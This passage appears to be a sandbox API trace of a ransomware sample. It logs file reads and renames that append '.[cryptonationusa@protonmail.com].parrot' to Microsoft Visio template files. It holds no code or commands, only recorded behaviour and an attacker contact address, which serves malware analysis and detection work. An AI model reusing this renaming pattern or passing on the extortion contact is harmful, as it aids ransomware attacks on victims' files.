content\\1033\\title_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TITLE_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\title_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.044] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.044] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.052] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.052] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x30800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x30800, lpOverlapped=0x0) returned 1 [0231.063] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.067] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TQM_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\tqm_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TQM_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\tqm_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.074] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.074] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.076] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.076] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5a00, lpOverlapped=0x0) returned 1 [0231.080] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.081] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TQM_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\tqm_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TQM_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\tqm_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.089] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.089] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.090] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.090] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2d400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2d400, lpOverlapped=0x0) returned 1 [0231.097] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.100] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TQM_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\tqm_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TQM_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\tqm_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.106] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.106] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.108] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.108] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5800, lpOverlapped=0x0) returned 1 [0231.112] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.113] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TQM_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\tqm_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TQM_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\tqm_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.119] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.120] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.121] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.121] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x44200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x44200, lpOverlapped=0x0) returned 1 [0231.136] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.150] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TRANSP_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\transp_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TRANSP_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\transp_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.210] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.210] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.212] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.212] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x27200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x27200, lpOverlapped=0x0) returned 1 [0231.219] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.238] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TRANSP_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\transp_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TRANSP_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\transp_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.245] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.245] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.262] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.262] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x12a00, lpOverlapped=0x0) returned 1 [0231.269] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.271] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLACT_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umlact_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLACT_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umlact_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.279] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.279] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.291] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.291] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x12600, lpOverlapped=0x0) returned 1 [0231.296] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.297] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLACT_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umlact_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLACT_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umlact_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.306] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.306] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.311] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.311] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x12000, lpOverlapped=0x0) returned 1 [0231.316] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.318] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLCOL_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umlcol_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLCOL_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umlcol_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.328] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.328] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.329] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.329] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x11e00, lpOverlapped=0x0) returned 1 [0231.333] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.335] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLCOL_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umlcol_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLCOL_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umlcol_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.343] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.343] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.345] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.345] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xca00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xca00, lpOverlapped=0x0) returned 1 [0231.348] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.350] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLCOM_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umlcom_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLCOM_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umlcom_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.358] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.358] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.359] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.360] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc800, lpOverlapped=0x0) returned 1 [0231.362] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.364] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLCOM_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umlcom_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLCOM_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umlcom_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.373] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.373] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.377] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.378] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x14600, lpOverlapped=0x0) returned 1 [0231.382] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.384] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLDEP_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umldep_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLDEP_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umldep_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.443] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.443] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.444] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.444] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x14400, lpOverlapped=0x0) returned 1 [0231.450] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.451] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLDEP_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umldep_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLDEP_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umldep_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.461] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.461] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.462] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.463] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcc00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xcc00, lpOverlapped=0x0) returned 1 [0231.465] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.467] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLDG_M.VSD" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umldg_m.vsd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLDG_M.VSD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umldg_m.vsd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.477] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.477] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.478] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.478] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xda00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xda00, lpOverlapped=0x0) returned 1 [0231.481] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.483] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLDG_U.VSD" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umldg_u.vsd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLDG_U.VSD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umldg_u.vsd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.493] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.493] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.494] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.494] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x12800, lpOverlapped=0x0) returned 1 [0231.498] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.500] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLMOD_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umlmod_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLMOD_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umlmod_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0231.510] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0231.510] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0231.511] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.512] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x12600, lpOverlapped=0x0) returned 1 [0231.516] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 